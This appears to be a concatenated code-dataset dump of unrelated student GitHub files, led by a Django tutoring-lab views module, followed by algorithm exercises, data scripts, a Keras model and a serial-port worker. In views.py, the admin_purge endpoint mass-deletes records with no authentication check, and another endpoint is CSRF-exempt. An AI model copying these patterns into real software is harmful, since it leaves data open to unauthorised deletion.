user.groups.filter(name='Tutor_Admin').exists():\n return HttpResponseRedirect('/../instructor/')\n if user.username == 'admin' or user.username == 'bifrost_larry':\n return HttpResponseRedirect('/../admin/')\n else:\n return HttpResponseRedirect('/')\n else:\n return HttpResponseRedirect('/')\n\n@csrf_exempt\ndef pusher_authentication(request):\n\tpusher_client = pusher.Pusher(app_id=settings.PUSHER_APP_ID,key=settings.PUSHER_KEY,secret=settings.PUSHER_SECRET)\n\tpusher_client.trigger(u'ch1',u'enqueue',{})\t\n\n\treturn HttpResponse(\"Ooh secret\")\n\n# SHOWS ALL TUTORS SCHEDULES\ndef ta_schedule(request):\n context = {\n 'title': \"Tutor Schedule\",\n }\n return render(request, 'home/schedule.html', context)\n\n\n\n\n@login_required(login_url='/admin/')\ndef admin_import(request):\n if request.user.is_active:\n if not request.user.is_superuser:\n return HttpResponseRedirect('/profile')\n if request.method == \"GET\":\n return render(request, \"home/admin_import.html\")\n if request.method == \"POST\" and request.FILES['file']:\n xlsFile = request.FILES['file']\n i_first_name = i_last_name = i_user_name = i_email = class_name = class_num = s_first_name = s_last_name = s_user_name = ' '\n num_i = num_c = num_s = 0\n try:\n fs = FileSystemStorage()\n filename = fs.save(xlsFile.name, xlsFile)\n print(\"File name =\", xlsFile)\n sheet = pe.get_sheet(file_name=fs.path(xlsFile.name), name_columns_by_row=0)\n records = sheet.to_records()\n for record in records:\n keys = sorted(record.keys())\n for key in keys:\n if key == \"Instructor First Name\":\n print(str(record[key]))\n i_first_name = record[key]\n elif key == \"Instructor Last Name\": \n print(str(record[key]))\n i_last_name = record[key]\n elif key == \"Instructor Username\": \n print(str(record[key]))\n i_user_name = record[key]\n elif key == \"Instructor Email\":\n print(str(record[key]))\n i_email = record[key]\n elif key == \"Class Name\":\n print(str(record[key]))\n class_name = record[key]\n elif key == \"Class Number\":\n print(str(record[key]))\n class_num = record[key]\n elif key == \"Student abc123\":\n print(str(record[key]))\n s_user_name = record[key]\n elif key == \"Student First Name\":\n print(str(record[key]))\n s_first_name = record[key]\n elif key == \"Student Last Name\":\n print(str(record[key]))\n s_last_name = record[key]\n\n # Get or create user\n user, user_created = User.objects.get_or_create(username=i_user_name, first_name=i_first_name, last_name=i_last_name, email=i_email)\n group = Group.objects.get(name='Instructor')\n group.user_set.add(user)\n # Get or create current instructor\n cur_instructor,created = Instructor.objects.get_or_create(user=user, first_name=i_first_name, last_name=i_last_name, email=i_email)\n cur_instructor.save()\n\n if(user_created):\n # send email to setup password\n send_activation(request, user.username, user.email)\n num_i+=1\n\n # Get or create current course and associate with instructor\n cur_course, course_created = Course.objects.get_or_create(course_num=class_num, course_name=class_name)\n cur_course.save()\n cur_course.Instructor = cur_instructor\n cur_course.save()\n if(course_created):\n num_c+=1 \n \n # Get or create current student and associate with course\n cur_student, student_created = Student.objects.get_or_create(first_name=s_first_name, last_name=s_last_name, studentID=s_user_name)\n cur_student.save()\n cur_student.courses.add(cur_course)\n cur_student.save()\n if(student_created):\n num_s+=1\n \n fs.delete(xlsFile.name)\n data = {\n \"bool\":\"true\",\n\t\t \"i_created\":num_i,\n \"c_created\":num_c,\n \"s_created\":num_s\n }\n return HttpResponse(\n json.dumps(data),\n content_type=\"application/json\"\n )\n\n\n except XLRDError:\n print(\"xlrd error\")\n lastCol = firstCol = userCol = 0\n i_last_name = i_first_name = i_email = class_name = class_num = s_first_name = s_last_name = s_user_name = \"\"\n fs = FileSystemStorage()\n filename = fs.save(xlsFile.name, xlsFile)\n with codecs.open(fs.path(xlsFile.name), encoding='UTF-16') as f:\n for rowx, row in enumerate(f):\n if row.endswith(u'\\r\\n'): row = row[:-2]\n data = row.split(u'\\t ,')\n for colx, datum in enumerate(data):\n info = datum.strip(\"'\\\"\")\n if(rowx == 0):\n if( info == 'Instructor First Name'):\n print(info)\n iFirstCol = colx\n elif( info == 'Instructor Last Name'):\n print(info + str(colx))\n iLastCol = colx\n elif( info == 'Instructor Email'):\n print(info + str(colx))\n iEmailCol = colx\n elif( info == 'Class Name'):\n print(info + str(colx))\n cNameCol = colx\n elif( info == 'Class Number'):\n print(info + str(colx))\n cNumCol = colx\n elif( info == 'Student First Name'):\n print(info + str(colx))\n sFirstCol = colx\n elif( info == 'Student Last Name'):\n print(info + str(colx))\n sLastCol = colx\n elif( info == 'Student abc123'):\n print(info + str(colx))\n sUserCol = colx\n else:\n if(colx == iLastCol):\n # print(\"Instructor last name = col[\" + str(colx) +\"]\", info)\n i_last_name = info\n elif(colx == iFirstCol):\n # print(\"Instructor first name = col[\" + str(colx) +\"]\", info)\n i_first_name = info\n elif(colx == iEmailCol):\n # print(\"Instructor Email = col[\" + str(colx) +\"]\", info)\n i_email = info\n elif(colx == cNameCol):\n # print(\"Class name = col[\" + str(colx) +\"]\", info)\n class_name = info\n elif(colx == cNumCol):\n # print(\"Class num = col[\" + str(colx) +\"]\", info)\n class_num = info\n elif(colx == sUserCol):\n # print(\"username = col[\" + str(colx) +\"]\", info)\n s_user_name = info\n elif(colx == sFirstCol):\n # print(\"Student first name = col[\" + str(colx) +\"]\", info)\n s_first_name = info\n elif(colx == sLastCol):\n # print(\"Student last name = col[\" + str(colx) +\"]\", info)\n s_last_name = info\n\n if(rowx > 0):\n # Get or create user\n user, user_created = User.objects.get_or_create(username=i_user_name, first_name=i_first_name, last_name=i_last_name, email=i_email)\n group = Group.objects.get(name='Instructor')\n group.user_set.add(user)\n # Get or create current instructor\n cur_instructor,created = Instructor.objects.get_or_create(first_name=i_first_name, last_name=i_last_name, email=i_email)\n cur_instructor.save()\n # Get or create current course and associate with instructor\n cur_course, created = Course.objects.get_or_create(course_num=class_num, course_name=class_name)\n cur_course.save()\n cur_course.Instructor = cur_instructor\n cur_course.save()\n # Get or create current student and associate with course\n cur_student,created = Student.objects.get_or_create(first_name=s_first_name, last_name=s_last_name, studentID=s_user_name)\n cur_student.save()\n cur_student.courses.add(cur_course)\n cur_student.save()\n \n except Exception as e:\n print(\"Error in upload:\", e)\n\n if(fs.exists(filename)):\n # print(\"deleting file 2: \", xlsFile.name)\n fs.delete(xlsFile.name)\n if(fs.exists(filename)):\n # print(\"deleting file 1: \", filename)\n fs.delete(filename)\n \n data = {\n 'bool': 'false'\n }\n\n return HttpResponse(\n json.dumps(data),\n content_type = \"application/json\"\n )\n \ndef admin_purge(request):\n if request.method == \"GET\":\n terms = Term.objects.all()\n context = {\n 'terms':terms\n }\n return render(request, \"home/admin_purge.html\", context)\n \n if request.method == \"POST\":\n \n ######### DELETE TERMS, SESSIONS, SURVEYS #########\n\n termList = request.POST.getlist('selectedTerms[]')\n terms = []\n data = {}\n\n if \"None\" in termList:\n if len(termList) > 1:\n data['term-issue'] = \"None selected in term selection list\"\n data['bool-term'] = \"false\"\n else:\n data['term-issue'] = \"No surveys or student-tutor sessions deleted\"\n data['bool-term'] = \"true\"\n else: \n for term in termList:\n terms.append(Term.objects.get(name=term))\n surveys = Survey.objects.all()\n sessions = Session.objects.all()\n surveysToDelete = []\n sessionsToDelete = []\n for term in terms:\n for survey in surveys:\n if term.inTerm(survey.date_completed.date()):\n surveysToDelete.append(survey)\n for session in sessions:\n if term.inTerm(session.sessionID.date()):\n sessionsToDelete.append(session)\n \n # Delete surveys and minus count from tutor\n for survey in surveysToDelete:\n survey.tutor.survey_count -= 1\n survey.tutor.save()\n survey.delete()\n # Delete sessions\n for session in sessionsToDelete:\n session.delete()\n # Delete terms\n for term in terms:\n term.delete()\n \n ######## DELETE COURSES AND STUDENTS AND STUDENT ACCOUNTS ###########\n Course.objects.all().delete()\n Student.objects.all().delete()\n for student in StudentAccount.objects.all():\n if student.student.last_login.date() < datetime.today().date().replace(year = datetime.today().year - 1):\n student.user.delete()\n\n data['bool-term'] = 'true'\n\n return HttpResponse(\n json.dumps(data),\n content_type = \"application/json\"\n )\n\n@login_required(login_url='/admin/')\ndef admin_manage(request):\n if request.user.is_active:\n if not request.user.is_superuser:\n return HttpResponseRedirect('/profile')\n if request.method == \"GET\":\n instructors = Instructor.objects.all()\n tutor_admins = []\n for instructor in instructors:\n if instructor.user:\n if instructor.user.groups.filter(name=\"Tutor_Admin\"):\n tutor_admins.append(instructor)\n context = {\n \"instructors\": instructors,\n \"tutor_admins\": tutor_admins\n }\n return render(request, \"home/admin_manage.html\", context)\n if request.method == \"POST\":\n action = request.POST.get(\"action\")\n instructors = request.POST.getlist(\"selectedInstructors[]\")\n \n if \"None\" not in instructors:\n if action == \"delete\":\n try:\n for instructor in instructors:\n cur_instructor = Instructor.objects.get(email=instructor)\n cur_instructor.user.delete()\n data = {\n \"bool\":\"true\",\n \"msg\":\"Instructor(s) deleted\"\n }\n except ObjectDoesNotExist:\n data = {\n \"bool\":\"false\",\n \"msg\":\"Could not delete instructor (Does Not Exist)\"\n }\n elif action == \"addAdmin\":\n group = Group.objects.get(name='Tutor_Admin')\n for instructor in instructors:\n cur_instructor = Instructor.objects.get(email=instructor)\n group.user_set.add(cur_instructor.user)\n data = {\n \"bool\":\"true\",\n \"msg\":\"Instructor(s) given Tutor-Admin status\"\n }\n elif action == \"remAdmin\":\n group = Group.objects.get(name='Tutor_Admin')\n for instructor in instructors:\n cur_instructor = Instructor.objects.get(email=instructor)\n group.user_set.remove(cur_instructor.user)\n data = {\n \"bool\":\"true\",\n \"msg\":\"Instructor(s) revoked of Tutor-Admin status\"\n }\n else:\n data = {\n \"bool\":\"false\",\n \"msg\": \"None selected in instructor selection\"\n }\n\n return HttpResponse(\n json.dumps(data),\n content_type = \"application/json\"\n )\n \ndef send_activation(request, username, email):\n try:\n # GET EMAIL TEMPLETS\n email_body = 'home/email_temps/activation_body.txt'\n email_subject = 'home/email_temps/activation_subject.txt'\n user = User.objects.get(username=username)\n instructor = Instructor.objects.get(user = user)\n token = signing.dumps(username, salt=settings.SECRET_KEY)\n instructor.token = token\n instructor.save()\n \n # CONTEXT FOR EMAIL\n context = {\n 'site': get_current_site(request),\n 'username': user.get_full_name(),\n 'token': token,\n 'secure': request.is_secure(),\n }\n body = loader.render_to_string(email_body, context).strip()\n subject = loader.render_to_string(email_subject, context).strip()\n send_mail(subject, body, settings.DEFAULT_FROM_EMAIL, [email])\n return True\n except:\n print(\"Unexpected error:\", sys.exc_info()[0])\n return False\n","repo_name":"UtsaTutorLab/TutorLabProject","sub_path":"tutorlab/tutorlab/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"71638317690","text":"#!C:\\Program Files\\Python310\\python.exe\nprint(\"content-type: text/html\\n\\n\")\n\nimport sys\n\nsys.path.append(\"C:\\\\Users\\\\tyree\\\\AppData\\\\Roaming\\\\Python\\\\Python310\\\\site-packages\")\nimport speech_recognition as sr\n\n\ndef main():\n # obtain audio from the microphone\n r = sr.Recognizer()\n with sr.Microphone() as source:\n print(\"Say something!\")\n audio = r.listen(source)\n # recognize speech using Google Speech Recognition\n try:\n # the default google API (no keys needed)\n speech = r.recognize_google(audio)\n # print(speech)\n return speech\n\n except sr.UnknownValueError:\n print(\"Google Speech Recognition could not understand audio\")\n except sr.RequestError as e:\n print(\n \"Could not request results from Google Speech Recognition service; {0}\".format(\n e\n )\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Alx-nder/virtualTourWebsite","sub_path":"chatbot_module/speech_module.py","file_name":"speech_module.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27321065049","text":"class Solution:\n def permuteUnique(self, nums: List[int]) -> List[List[int]]:\n if len(nums) == 1:\n return [nums]\n \n elif len(nums) == 2:\n if nums[0] != nums[1]: \n return [nums, list(reversed(nums))] \n return [nums]\n \n all_perms = []\n for index, num in enumerate(nums):\n nums_without_current_num = nums[:index]\n if index + 1 <= len(nums):\n nums_without_current_num.extend(nums[index + 1:])\n \n permutuation_without_current_num = self.permuteUnique(nums_without_current_num) \n \n for perm in permutuation_without_current_num:\n all_perms.append([num] + perm) \n \n unique_perms_set = set()\n for perm in all_perms:\n unique_perms_set.add(tuple(perm)) \n \n unique_perms = []\n for perm in unique_perms_set:\n unique_perms.append(list(perm))\n \n return unique_perms","repo_name":"meraf00/Competitive-Programming","sub_path":"0047-permutations-ii/0047-permutations-ii.py","file_name":"0047-permutations-ii.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29308076592","text":"print(\"数字，日期和时间5\")\nfrom datetime import datetime, timedelta\nfrom dateutil.relativedelta import relativedelta\nfrom dateutil.rrule import *\n#创建一周的列表\nweekdays = ['Monday', 'Tuesday', 'Wednesday', 'Thursday',\n 'Friday']\nweekends = ['Saturday', 'Sunday']\n\n#初始化\ndef get_previous_byday(dayname, start_date=None):\n if start_date is None:\n start_date = datetime.today()\n day_num = start_date.weekday()\n day_num_target = weekdays.index(dayname)\n days_ago = (7 + day_num - day_num_target) % 7\n if days_ago == 0:\n days_ago = 7\n target_date = start_date - timedelta(days=days_ago)\n return target_date\n\n\ndef last_friday():\n print(datetime.today())\n print(get_previous_byday('Monday'))\n print(get_previous_byday('Tuesday'))\n print(get_previous_byday('Friday'))\n print(get_previous_byday('Saturday'))\n # 显式的传递开始日期\n print(get_previous_byday('Sunday', datetime(2012, 12, 21)))\n\n # 使用dateutil模块\n d = datetime.now()\n # 下一个周五\n print(d + relativedelta(weekday=FR))\n # 上一个周五\n print(d + relativedelta(weekday=FR(-1)))\n # 下一个周六， 为什么如果今天是周六，下一个/上一个都返回今天的日期？？\n print(d + relativedelta(weekday=SA))\n # 上一个周六\n print(d + relativedelta(weekday=SA(-1)))\n\n\nif __name__ == '__main__':\n last_friday()\n\nfrom datetime import datetime, date, timedelta\nimport calendar\n\ndef get_month_range(start_date=None):\n if start_date is None:\n start_date = date.today().replace(day=1)\n _, days_in_month = calendar.monthrange(start_date.year, start_date.month)\n end_date = start_date + timedelta(days=days_in_month)\n return (start_date, end_date)\n def date_range(start, stop, step):\n while start < stop:\n yield start\n start += step\n def month_range():\n a_day = timedelta(days=1)\n first_day, last_day = get_month_range()\n while first_day < last_day:\n print(first_day)\n first_day += a_day\n # 使用生成器\n for d in date_range(datetime(2012, 9, 1), datetime(2012, 10, 1),\n timedelta(hours=6)):\n print(d)\n if __name__ == '__main__':\n month_range()\n\nfrom datetime import datetime, timedelta\nfrom pytz import timezone\nimport pytz\n\n\ndef tz_local():\n d = datetime(2012, 12, 21, 9, 30, 0)\n print(d)\n\n # Localize the date for Chicago\n central = timezone('US/Central')\n loc_d = central.localize(d)\n print(loc_d)\n\n # Convert to Bangalore time\n bang_d = loc_d.astimezone(timezone('Asia/Kolkata'))\n print(bang_d)\n\n\n # 夏令时\n d = datetime(2013, 3, 10, 1, 45)\n loc_d = central.localize(d)\n print(loc_d)\n later = loc_d + timedelta(minutes=30)\n print(later)\n # 使用normalize修正这个问题\n later = central.normalize(loc_d + timedelta(minutes=30))\n print(later)\n\n # 一个普遍策略是先转换为UTC时间，使用UTC时间来进行计算\n print(loc_d)\n utc_d = loc_d.astimezone(pytz.utc)\n print(utc_d)\n\n later_utc = utc_d + timedelta(minutes=30)\n # 转回到本地时间\n print(later_utc.astimezone(central))\n\n # 根据ISO 3166国家代码查找时区名称\n print(pytz.country_timezones['IN'])\n\nif __name__ == '__main__':\n tz_local()","repo_name":"TheRealMilesLee/Computer-Science-Learning","sub_path":"Python相关/Python_CookBook/数字，日期和时间/数字，日期和时间 5.py","file_name":"数字，日期和时间 5.py","file_ext":"py","file_size_in_byte":3426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"10343926285","text":"from django.shortcuts import render\nfrom django.template import Context, Template\nfrom django.template import loader\nfrom django.http import HttpResponse\n\n\ndef index(request):\n t = loader.get_template('start_page.html')\n context = {\n 'variable':'var',\n 'gbimg':'gbcolor.jpg'\n }\n return HttpResponse(t.render(context, request))\n\ndef map(request):\n t= loader.get_template('map.html')\n context = {\n 'gbimg':'map.png'\n }\n return HttpResponse(t.render(context, request))\n\n# Create your views here.\n","repo_name":"nidzik/PythonDjango","sub_path":"rush00/rush00/rush00/moviemon/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"74746638327","text":"elemento = int(input('Insira o valor do elemento a ser buscado: '))\n\nindice = 0\n\nlista = [5,8,3,1,0,2]\n\nfor i in range(len(lista)):\n if elemento == lista[i]:\n print(i)\n\n \n","repo_name":"bihellzin/monitoria-p1","sub_path":"aulas-monitoria/07-10/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"3723093846","text":"import sys\n\nsys.stdin = open('specialsort.txt')\n\nfor testcase in range(int(input())):\n n = int(input())\n nums = list(map(int, input().split()))\n\n print(f'#{testcase + 1}', end=' ')\n for _ in range(5):\n maxnum = nums[0]\n minnum = nums[0]\n \n for num in nums:\n if num > maxnum:\n maxnum = num\n if num < minnum:\n minnum = num\n print(f'{maxnum} {minnum}', end=' ')\n \n trash = nums.pop(nums.index(maxnum))\n trash = nums.pop(nums.index(minnum))\n print()\n","repo_name":"hani2057/algorithm","sub_path":"swea/8월/0811/specialsort.py","file_name":"specialsort.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"22381092606","text":"import pandas as pd\nimport numpy as np\n\n\n## data source : https://www.eia.gov/tools/faqs/faq.php?id=74&t=11\ndataElectric = pd.read_excel('data/annual_generation_state.xls')\ndataCarbon = pd.read_excel('data/emission_annual.xls')\n\n### preprocessing data:\ndataCarbon= dataCarbon[dataCarbon['Year']==2018]\ndataCarbon = dataCarbon[dataCarbon['State']!='DC']\ndataCarbon = dataCarbon[dataCarbon['State']!= 'US-TOTAL']\ndataCarbon = dataCarbon[dataCarbon['Energy Source'] == 'All Sources']\ndataCarbon = np.asarray(dataCarbon)\n\n## for electricity data :\ndataElectric.reindex(['a','b','c','d','e','f'])\nb=dataElectric.columns\ncolumns = ['year','state','type','resource','generation']\ndic,i = {},0\nfor j in range(len(columns)):\n dic[b[j]] = columns[j]\nE = dataElectric.rename(columns=dic)\nE = E[E['year']==2018]\nE\nE = E[E['resource'] == 'Total']\nE = E[E['state'] != 'DC']\nE = E[E['state'] != 'US-Total']\nE = E[E['type'] == 'Total Electric Power Industry']\nE = np.asarray(E)\ndataElectric = E\n#################\n\n\ndef emissionDict(dataCarbon) :\n \"\"\"\n @dataCarbon : Carbon emission data\n @return : a dictionary with key = state name, value = CO2 emission\n \"\"\"\n assert isinstance(dataCarbon, pd.DataFrame)\n prev = 'AK'\n index,sumOfEmissions = 0,0\n emissionDict = {}\n for i in range(len(C)) :\n item = C[i]\n if item[1]!=prev :\n emissionDict[prev] = sumOfEmissions\n sumOfEmissions = item[4]\n prev = item[1]\n else :\n sumOfEmissions += item[4]\n emissionDict['Wyoming'] = sumOfEmissions\n return emissionDict\n\n\ndef ele_generation(dataElectric) :\n \"\"\"\n @dataElectric : electricity generation in each state\n @return : a dictionary with key = state name, value = electricity generation\n \"\"\"\n assert isinstance(dataElectric,pd.DataFrame)\n generationDict = {}\n for i in range(len(dataElectric)) :\n item = dataElectric[i]\n generationDict[item[1]] = item[4]\n return generationDict\n\n\ndef co2_per_mwh(generationDict,emissionDict) :\n \"\"\"\n @dataElectric : annual electricity generation in each state\n @dataCarbon : annual CO2 emission generation in each state\n @return : a dictionary with key = states name, value : CO2 emission per mwh electricity\n \"\"\"\n assert isinstance(generationDict,dict)\n assert isinstance(emissionDict,dict)\n perMPH = {}\n for name in generationDict :\n perMPH[name] = emissionDict[name]*1.0 / generationDict[name]\n return perMPH\n\n\ndef generate_csv(perMPH) :\n \"\"\"\n This function writes a csv file with state name as index and\n the value of CO2 generation per mwh electricity as column\n @perMPH : a dictionary\n \"\"\"\n my_dict = perMPH\n with open('co2_mwh.csv', 'w') as f:\n f.write('states,co2/mwh\\n')\n for key in my_dict.keys():\n f.write(\"%s,%s\\n\"%(key,my_dict[key]))\n","repo_name":"anurag1paul/electric_vehicles_analysis","sub_path":"data_analysis/environment_data_process.py","file_name":"environment_data_process.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"74424183608","text":"import json \nfrom celery import shared_task \nfrom guided_redaction.jobs.models import Job\nfrom guided_redaction.job_run_summaries.api import (\n JobRunSummariesViewSet,\n JobRunSummariesGenerateViewSet,\n)\n\n@shared_task\ndef create_manual_jrs(job_uuid):\n job = Job.objects.get(pk=job_uuid)\n if job:\n job.status = 'running'\n job.save()\n worker = JobRunSummariesViewSet()\n response = worker.process_create_request(json.loads(job.request_data))\n job.response_data = json.dumps(response.data)\n job.status = 'success'\n job.save()\n\n@shared_task\ndef create_automatic_jrs(job_uuid):\n job = Job.objects.get(pk=job_uuid)\n if job:\n job.status = 'running'\n job.save()\n worker = JobRunSummariesGenerateViewSet()\n response = worker.process_create_request(json.loads(job.request_data))\n job.response_data = json.dumps(response.data)\n job.status = 'success'\n job.save()\n","repo_name":"dcaulton/guided_redaction","sub_path":"api/guided_redaction/job_run_summaries/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"40899057875","text":"from tensorflow.keras.layers import Activation, Dense, Input, Concatenate, Flatten, InputLayer, Embedding\nfrom tensorflow.keras.models import Model, Sequential\nimport tensorflow as tf\nimport os\n\n\n\ndef build_multi_input_model(shape_vec, shape_mat):\n \"\"\"Build (and compile) multi input network.\n Args: \n shape_vec: Shape of the input vector\n shape_mat: Shape of the input matrix\n shape_out: Shape of the output vector\n Returns:\n model: Keras model\n \"\"\"\n\n # first branch for the\n inp1 = Input(shape=(1,), name='Country_ID')\n model1 = Embedding(23, 2, name='Country_Embedding')(inp1)\n model1 = Flatten()(model1)\n\n # second branch for the vector input\n inp2 = Input(shape=shape_vec, name=\"Date_and_Regimes\")\n\n # third branch for the matrix input\n inp3 = Input(shape=shape_mat, name=\"Ensemble\")\n model3 = Flatten()(inp3)\n \n # concatenate the two inputs\n x = Concatenate(axis=1)([model1, inp2, model3])\n\n # add the hiddden layers\n x = Dense( 100 , activation='linear' , name=\"Combined_Hidden_Layer_1\" )( x )\n x = Dense( 100 , activation='relu' , name=\"Combined_Hidden_Layer_2\" )( x )\n x = Dense( 100 , activation='relu' , name=\"Combined_Hidden_Layer_3\" )( x )\n\n x = Dense( 2 , activation='linear' , name=\"Output_Layer\" )(x)\n\n # returns the Model\n return Model([inp1, inp2, inp3], outputs=x)\n\n\ndef printModel(model, dir='', name='my_model.png'):\n tf.keras.utils.plot_model(model, to_file=os.path.join(dir , name), show_shapes=True,\n show_layer_names=True, rankdir='TB', expand_nested=False, dpi=96)\n\ndef reset_weights(model):\n for layer in model.layers: \n if hasattr(layer,'init'):\n input_dim = layer.input_shape[1]\n new_weights = layer.init((input_dim, layer.output_dim),name='{}_W'.format(layer.name))\n layer.trainable_weights[0].set_value(new_weights.get_value())","repo_name":"muellerelias/nnpostprocessing","sub_path":"model/build_model.py","file_name":"build_model.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"71770193208","text":"def BFS(s):\r\n queue = []\r\n queue.append(s)\r\n visited[s] = True\r\n dist[s] = 0\r\n while queue:\r\n s = queue.pop(0)\r\n for i in graph[s]:\r\n if visited[i] == False:\r\n visited[i] = True\r\n queue.append(i)\r\n dist[i] = dist[s]+1\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n q = int(input())\r\n for i in range(q):\r\n n , m = map(int,input().split())\r\n graph = [[] for x in range(n)]\r\n dist = [-1 for x in range(n)]\r\n visited = [False for x in range(n)]\r\n for _ in range(m):\r\n u,v = map(lambda x: int(x)-1,input().split())\r\n graph[u].append(v)\r\n graph[v].append(u)\r\n s = int(input()) - 1\r\n BFS(s)\r\n # print(dist)\r\n for i in range(n):\r\n if i == s:\r\n continue\r\n if dist[i] != -1:\r\n print(dist[i]*6,end=\" \")\r\n else:\r\n print(-1,end=\" \")\r\n print()\r\n","repo_name":"GenesisBlock3301/Data-Structure-and-Algorithm","sub_path":"Graph Theory/Breadth First Search Shortest Reach (hackerrank).py","file_name":"Breadth First Search Shortest Reach (hackerrank).py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"4960846173","text":"import sys\nimport json\nfrom flask import Flask, Response, request\n\nfrom ecarton_code_challenge.lib.convert import convert_chars\n\napp = Flask('code_challenge')\n\n@app.route('/convert', methods=['POST'])\ndef convert():\n\n request_data = json.loads(request.data)\n\n converted = convert_chars(request_data)\n\n resp = Response(\n response=json.dumps(converted),\n mimetype='application/json',\n status=200)\n\n return resp\n\n\ndef create_app():\n return app\n","repo_name":"evert2410/engie","sub_path":"ecarton_code_challenge/lib/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"33134410532","text":"#!/usr/bin/python\n\nimport serial\nimport serial.tools.list_ports\nimport time\nfrom modules.utils import timeit\n\n\nclass SerialComWorker():\n \"\"\"\n Class to handle the serial communication between the PC and the EDF signal generator\n\n This class will be in charge of managing the ports and sending the data to the device\n \"\"\"\n def __init__(self, config):\n self.config_params_ = config\n print(\"Serial communication worker initialized\")\n\n def listSerialPorts(self):\n \"\"\"\n Method to create a list of all corresponding EDF signal generator devices.\n\n Callback for the GUI interaction\n \"\"\"\n self.generator_devices_ = self.searchCommPortsWindows_()\n user_device_list = []\n if self.generator_devices_:\n # Create list to be displayed to user\n for device in self.generator_devices_:\n user_device_list.append(str(device.device))\n return user_device_list\n else:\n return []\n\n def selectCommPort(self, user_chosen_device):\n \"\"\"\n Method to save the selected comm port.\n\n Callback for the GUI interaction\n \"\"\"\n # Check that devices are loaded\n if self.generator_devices_:\n # Go through loaded devices and check if name is in user_chosen_device\n for device in self.generator_devices_:\n if device.name in user_chosen_device:\n print(\"Selected port: \" + device.name)\n self.chosen_device_ = device\n\n @timeit\n def beginTransmision(self, bytes_packages: list, channels_amount, sample_rate):\n \"\"\"\n Method to start the transmition to the generator.\n\n Callback for the GUI interaction\n \"\"\"\n config_sample_rate_pkg = self.createConfigPackage_(self.config_params_[\"config_sample_rate\"], sample_rate)\n config_channel_amount_pkg = self.createConfigPackage_(self.config_params_[\"config_channels_amount\"], channels_amount)\n config_reset_all_dacs_pkg = self.createConfigPackage_(self.config_params_[\"config_reset_all_dacs\"], channels_amount)\n data_pkgs = [bytes_packages[i:i+64] for i in range(0,len(bytes_packages),64)]\n\n try:\n # Start serial connection\n serial_connection = serial.Serial(self.chosen_device_.name, baudrate=115200, bytesize=serial.EIGHTBITS, write_timeout=5)\n\n # Write sample rate config\n serial_connection.write(serial.to_bytes(config_sample_rate_pkg))\n time.sleep(0.1)\n\n # Write amount of channels config\n serial_connection.write(serial.to_bytes(config_channel_amount_pkg))\n\n for byte_pkg in data_pkgs:\n #for j in range(channels_amount):\n serial_connection.write(b\"\".join(byte_pkg))\n\n\n # When simulation ended, we reset outputs and configs of DACs:\n serial_connection.write(serial.to_bytes(config_reset_all_dacs_pkg))\n \n\n # End serial connection\n serial_connection.close()\n return True\n except serial.SerialTimeoutException:\n print(\"Serial write operation timed out, try resetting the device\")\n return False\n\n\n ###### Private ######\n\n \"\"\"\n List of key-value pairs of EDF signal generators found. Should contain:\n Name: Identifier for the device\n Device: String used to open and close the port (COMx for Windows)\n \"\"\"\n generator_devices_ = []\n chosen_device_ = \"\" # Selected serial communication port\n\n def searchCommPortsWindows_(self):\n \"\"\"\n Method to look for connected EDF signal generator devices in Windows\n\n Returns a list of serial comm devices with key-value pairs containing information about it\n\n It uses the PID 0483 to identify the STMicroelectronics device and 5740 for the Virtual COMM port\n \"\"\"\n generator_devices = []\n ports = serial.tools.list_ports.comports()\n for port in ports:\n if (\"0483\" and \"5740\") in port.hwid:\n device = {}\n device[\"Name\"] = port.name\n device[\"Device\"] = port.device\n generator_devices.append(port)\n return generator_devices\n\n def createConfigPackage_(self, config_num: int, config_data: int):\n \"\"\"\n This method creates a custom configuration package to send config_data to the microcontroller.\n \"\"\"\n enum_pkg = int(config_num).to_bytes(2, byteorder=\"big\", signed=False)\n data_pkg = int(config_data).to_bytes(2, byteorder=\"big\", signed=False)\n return b\"\".join([enum_pkg, data_pkg])\n","repo_name":"Gonzalor95/TProfesional_EEG","sub_path":"PyEDF-APP/modules/SerialComWorker.py","file_name":"SerialComWorker.py","file_ext":"py","file_size_in_byte":4662,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"4681056653","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('signup-admin/', views.signup_admin, name='signup_admin'),\n path('signin-admin/', views.signin_admin, name='signin_admin'),\n path('home/', views.home, name='home' ),\n path('student-home/', views.student_home, name='student_home' ),\n path('accounts/login/', views.home, name='home' ),\n path('logout/', views.logout, name='logout'),\n\n path('add-student/', views.add_student, name='add_student' ),\n path('view-student/', views.view_students, name='view_students' ),\n path('delete//', views.delete_student, name='delete_student' ),\n path('edit//', 